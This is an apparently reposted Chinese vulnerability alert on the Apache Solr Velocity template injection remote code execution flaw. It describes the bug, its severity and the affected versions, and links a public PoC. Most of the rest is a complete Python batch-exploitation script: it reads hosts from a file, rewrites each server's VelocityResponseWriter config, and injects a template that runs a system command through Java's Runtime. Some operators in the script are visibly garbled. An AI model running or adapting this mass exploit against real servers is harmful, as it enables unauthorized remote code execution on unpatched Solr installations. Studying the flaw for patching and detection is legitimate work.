漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

2021-04-15 14:30:07 浏览数 (1)

【漏洞预警 】Apache Solr Velocity 模板远程代码执行漏洞

ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上

0x00背景介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的POC

文档名称

Apache Solr Velocity模板远程代码执行漏洞预警

关键字

Apache Solr,Velocity模板,远程代码执行漏洞

发布日期

2019年10月31日

0x01漏洞描述

Apache Solr是默认集成了VelocityResponseWriter这个插件,插件的初始化过程中params.resource.loader.enabled,程序默认设置是false。攻击者在可以访问Solr控制台时,可以通过发送/节点名称/config的POST请求的方式对该项配置进行更改,当该配置被更改为true时用户将被允许通过设置请求中的参数来指定加载相关的资源,攻击者可以通过此功能构造恶意请求。

Solr集成的VelocityResponseWriter组件,可以允许攻击者构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,从而导致Velocity模版注入远程命令执行漏洞。目前漏洞处于0day状态,并且EXP已被公开。

0x02漏洞等级

高危

0x03受影响版本

经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。但是目前无法确定出现问题的API是何时引入,所以预估是影响全版本。

0x04 POC地址

代码语言:javascript复制
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0x05 漏洞批量脚本

代码语言:javascript复制
import requests, time

def first_send(url):
    url = url   "/solr/test/config"
    data = {
        "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
        }
    }
    res = requests.post(url, data=data)

def last_send(url):
    url = url   "/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
    res = requests.get(url)
    return res

if __name__ == '__main__':
    with open("ip.txt", "r ") as f:
        urls = f.readlines()
    for url in urls:
        if ("http://" not in url) and ("https://" not in url):
            print("正在验证url:%s" % url)
            url = "http://"   url
            try:
                first_send(url)
                text = last_send(url).text
            except:
                continue
            if ("uid=" in text) and ("gid=" in text) and ("groups=" in text):
                print("%s存在漏洞" %url)
                print(text)
            time.sleep(2)

0 人点赞